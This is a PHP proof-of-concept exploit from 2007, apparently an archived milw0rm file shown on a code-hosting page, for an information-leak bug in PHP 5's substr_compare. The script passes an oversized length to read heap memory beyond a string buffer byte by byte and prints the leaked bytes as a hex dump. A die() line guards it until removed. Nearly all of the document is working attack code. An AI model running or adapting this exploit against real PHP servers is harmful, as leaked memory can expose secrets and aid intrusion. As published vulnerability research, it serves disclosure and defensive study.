69 lines
No EOL
2.2 KiB
PHP
69 lines
No EOL
2.2 KiB
PHP
<?php
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////////////////////////////////////////////////////////////////////////
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// _ _ _ _ ___ _ _ ___ //
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// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
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// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
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// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
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// //
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// Proof of concept code from the Hardened-PHP Project //
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// (C) Copyright 2007 Stefan Esser //
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// //
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////////////////////////////////////////////////////////////////////////
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// PHP 5 - substr_compare Information Leak Vulnerability //
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////////////////////////////////////////////////////////////////////////
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// This is meant as a protection against remote file inclusion.
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die("REMOVE THIS LINE");
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$sizeofHashtable = 39;
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$maxlong = 0x7fffffff;
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if (is_int($maxlong+1)) {
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$sizeofHashtable = 67;
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$maxlong = 0x7fffffffffffffff;
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}
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$memdump = str_repeat("A", 4096);
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for ($i=0; $i<40; $i++) $d[] = array();
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unset($d[20]);
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$x = str_repeat("A", $sizeofHashtable);
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// If the libc memcmp leaks the information use it
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// otherwise we only get a case insensitive memdump
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$b = substr_compare(chr(65),chr(0),0,1,false) != 65;
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for ($i=0; $i<4096; $i++) {
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$y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
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$Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
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if ($y-$Y == 1 || $Y-$y==1){
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$y = chr($y);
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if ($b && strtoupper($y)!=$y) {
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if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
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$y = strtoupper($y);
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}
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}
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$memdump[$i] = $y;
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} else {
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$memdump[$i] = chr(0);
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}
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}
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echo "memdump\n---------\n\n";
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for ($b=0; $b<strlen($memdump); $b+=16) {
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printf("%08x: ", $b);
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for ($i=0; $i<16; $i++) {
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printf ("%02x ", ord($memdump[$b+$i]));
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}
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for ($i=0; $i<16; $i++) {
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$c = ord($memdump[$b+$i]);
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if ($c >= 127 || $c < 32) {
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$c = ord(".");
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}
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printf ("%c", $c);
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}
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printf("\n");
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}
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?>
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# milw0rm.com [2007-03-07]
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